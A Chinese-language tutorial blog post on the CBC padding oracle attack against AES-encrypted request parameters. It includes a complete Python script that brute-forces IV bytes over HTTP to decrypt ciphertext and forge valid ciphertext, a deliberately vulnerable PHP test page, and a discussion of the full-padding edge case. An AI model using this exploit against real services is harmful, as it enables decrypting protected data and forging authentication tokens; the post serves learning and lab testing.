Padding Oracle Attack

代码是完成了,但还是有个小疑问(会在最后给出描述),问了好多师傅但都没回我,好尴尬-_-||
更新:在Ben师傅的帮助下问题已经解决,解决方案和问题描述放在最后,代码也已经更新请放心食用~~

首先描述应用场景

有许多网站存在这样的功能:参数是经过对称加密算法加密过的,一般用aes的居多,然后传到服务端后先对参数进行解码,之后再去利用。这样有什么好处呢?基本就像是封死了这个参数点一样,因为我们没有密钥,所以也无法构造出有效的参数来(大多数都会在解密时发现错误而丢弃),而Padding Oracle Attack可以适用于这样一种情况:
在服务端使用的分组加密模式为CBC+PKCS填充方案,并且在传入无法解密的cipherText值与传入可以解密的CipherText值具有两种不同的回显时,我们就可以通过这种攻击方式来计算得到密文对应的明文,同时也可以计算出明文所对应的密文

然后是重头戏,对Padding Oracle Attack的理解

直接放上赵颉老师翻译的一篇博文http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html,貌似大家都是从这篇文章接触的这种攻击方式

具体的攻击方式就不再详细阐述,看赵老师的博客就好,然后这里说一些要注意的点:

  • 赵老师的博文里面的讲解用的是DES,所以每个分块都是8个字节,而现在常见的都是aes也就是一块是16个字节的,自己改一下就好,下面给出的实现代码是AES的
  • 其实这种攻击最根本上就是在求密文所对应的middle中间值,所用的函数像由密文求明文,由明文求密文实际上都是分块先把中间值求出来
  • Padding Oracle Attack是分块运行的,所以可以开多线程来求每个分组的中间值
  • 其实我们是在遍历IV值来求middle中间值,所以只要IV值是可控的就可以,只有IV值可控而密文不可控下,是可以对一个分组进行加解密的

实现代码,尽可能的注释详细些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
#coding=utf-8
import requests
N = 16 #只有部分更改了过来,有些细节上还无意识的使用者32或16
legth = N*2
def hex_format(num,legth):
str = hex(num)[2:]
if str[len(str)-1] == 'L':
str = str[:-1]
return '0'*(legth-len(str))+str
#这个是由使用者根据情况自定义的对回显界面的判断
def inject(s, iv, cipher):
# print iv+cipher
url = 'http://localhost/test1.php?id={}'.format(iv+cipher)
# print url
retu = s.get(url)
# print retu.content
if retu.content == 'hacker?':
return False
if retu.content == '1':
return True
return False
#输入cipher的str形式,可以得到mid值的str形式
def get_aes_mid(cipher):
def get_list_to_str_(iv):
retu = ""
for i in iv:
retu += hex_format(i,2)
return retu
#避免重复建立requests对象
s = requests.session()
#主要就是对iv进行遍历,为了方便操作采用这种list的形式,元素为int型 同时建立输出参数mid_str
iv = [0 for i in range(16)]
mid_list = [0 for i in range(16)]
#padding是每经过一轮都要变化的,因为每一轮都在爆破不同位
padding = 0x01
for i in range(16)[::-1]:
find_tag = 0
for j in range(0x100): #0x00 ~ 0xff
#至此层,是对iv[i]进行遍历,然后生成一个iv_str用于发送出去
iv[i] = j
iv_str = get_list_to_str_(iv)
#如果没有这一步的话,在填充为0x10*16的时候,服务器解析正确的时候返回空字符串,还有可能进入异常分支,所以这一步是很重要的
if (i == 0):
retu = inject(s, "1"*32, iv_str+cipher)
else:
retu = inject(s, iv_str, cipher)
#基于服务器的返回情况进行判断,成立可以跳出此循环,进行下一位的爆破
if (retu):
#如果成立的话,进行以下操作
# 基于iv对应位的值以及padding的值生成mid值
# 更新padding的填充方式,也就是加一
# 对应修改iv位上的值,由修改后的padding与mid值得到
mid = iv[i]^padding
print hex_format(mid, 2),
mid_list[i] = mid
padding += 1
for k in range(i,16):
iv[k] = padding^mid_list[k]
find_tag = 1
break
if (find_tag == 0):
print
print '在密文分组为{}的第{}个字节尝试了所有可能也没有发现匹配,请尝试分析'.format(cipher, str(i))
mid_str = get_list_to_str_(mid_list)
return mid_str
def padding_oracle_get_cipher(plain):
"""
参数:明文字符串即可,\n \x0a是支持的,不支持0x0a %0a,所以要注意转化
生成明文对应的密文的方式:
1、将明文转化为二进制格式并进行填充操作,并从最后一组开始
2、最后一组的操作为:传入任意密文得到mid值,并由明文得到iv值,作为下一组的密文
3、开始倒数第二组,将上一组的iv作为密文,得到mid值,然后由明文得到iv值,作为下一组的密文
4、。。。。
5、一直到最后一组,所解得的值作为IV值
6、将所有轮的结果连到一起构成cipher
返回:cipher
"""
#转化明文为二进制格式
plain = plain.encode('hex')
#对明文进行填充
if (len(plain) % 32 != 0):
temp = (32-len(plain)%32)/2
plain += hex_format(temp,2)*temp
else:
plain += '10'*16
#将明文进行分组
plain_list = []
for i in range(len(plain))[::32]:
plain_list.append(plain[i:i+32])
print "填充后的明文分组为:" + str(plain_list)
#循环求中间值,需要先指定最后一组密文,就由1组成吧
cipher_block = '1'*32
cipher = "" + cipher_block
for i in range(len(plain_list))[::-1]:
#求到对应mid块
mid_block = get_aes_mid(cipher_block)
#由mid与当前的plain块得到cipehr块并加进去,同时结果作为下一组求mid的参数
cipher_block = hex_format(int(mid_block,16) ^ int(plain_list[i],16), 32)
print
print 'plain_list:' + plain_list[i]
print 'mid_block:'+mid_block
print 'iv:'+cipher_block
cipher = cipher_block + cipher
return cipher
def padding_oracle_get_plain(cipher):
"""
参数:IV+cipher
解密密文对应明文方法:
1、将IV与cipher连到一起,并分割成list的形式
2、从列表的第二组开始,操作为,传入对应的cipher块得到对应的mid值,并由index-1对应的块异或得到明文值
3、。。。。
4、一直到最后一组,所解得的值作为明文连起来构成明文
返回:明文对应的十六进制以及解出的明文
"""
cipher_list = []
#对cipher进行长度检查并切片处理,
if(len(cipher)%32 != 0):
print '长度不是32的倍数'
return
for i in range(len(cipher))[::32]:
cipher_list.append(cipher[i:i+32])
print "待解密的两个密文分组: " + str(cipher_list[1:])
plain = ""
for i in range(len(cipher_list))[1:]:
mid_block = get_aes_mid(cipher_list[i])
plain_block = hex_format(int(mid_block,16) ^ int(cipher_list[i-1],16), 32)
plain += plain_block
print
print 'plain_block:'+ plain_block + ' --> ' + plain_block.decode('hex')
print 'mid_block:'+mid_block
print 'cipher_block:'+cipher_list[i]
#去除明文最后的填充位
plain_bin_len = len(plain)-int(plain[-2:],16)*2
plain = plain[:plain_bin_len]
return plain, plain.decode('hex')
print padding_oracle_get_cipher('x23')
# print padding_oracle_get_plain('3131313131313131313131313131313148345eb08722cda708607c96534117049976f1681a00afdaa18c7e42d181887c')

搭建测试环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['id']) && $_GET['id'] != ""){
$iv = substr($_GET['id'], 0, 32);
$iv = pack('H*', $iv);
$cipher = substr($_GET['id'], 32);
$cipher = pack('H*',$cipher);
//需要注意php里面加解密模块的参数格式: $cipher与$iv都是以字符串输入的,而不是十六进制形式的字符串,所以上面我需要将传入的参数进行十六进制解码变成相应的字符串
$retu = openssl_decrypt($cipher, 'aes-128-cbc',
hash('md5', 'Yiruma', true), OPENSSL_RAW_DATA, $iv);
if ($retu) {
echo '1';
}else{
echo 'hacker?';
}
}
?>

一点疑惑

如果仔细看了赵老师的博客后都知道我们每个字节的测试都是基于解到的plain是否满足最后为0x01 0x020x02 0x030x030x03这种形式,但是在我们测试每一个分组的第一个字节的时候会出现什么情况??期望的填充位没有问题肯定是"0x10"*16,所以我们希望服务器在解到10101010101010101010101010101010的时候给我们回显,但是这时候服务器解密出来的"0x10"*16所对应的字符串是””
OK,那我们可以考虑下,如果服务端是这样写的呢?if($retu){echo ‘1’}else{echo ‘hacker?’},那么这个时候空字符串就会对应回显’hacker?’,这并不是我们想看到的,因为如果唯一能被aes正常解密的一次猜测都对应这样的回显的话,那对这个字节的256次尝试将不会看到一次对应为1的回显。也就是说最后一个字节将无法求得。
有没有大佬能给出解释呢,是需要在Padding Oracle Attack的代码上要有所改进吗?

在Ben师傅帮助下已经解决:
其实也蛮简单,在测试这一位的时候我们往服务器传送两个分组,这样一个分组全填充也就是填充为"0x10*16"的时候解密出来的字符串并不是””,因为还有前面一个分组,所以就不会出现上述的问题了。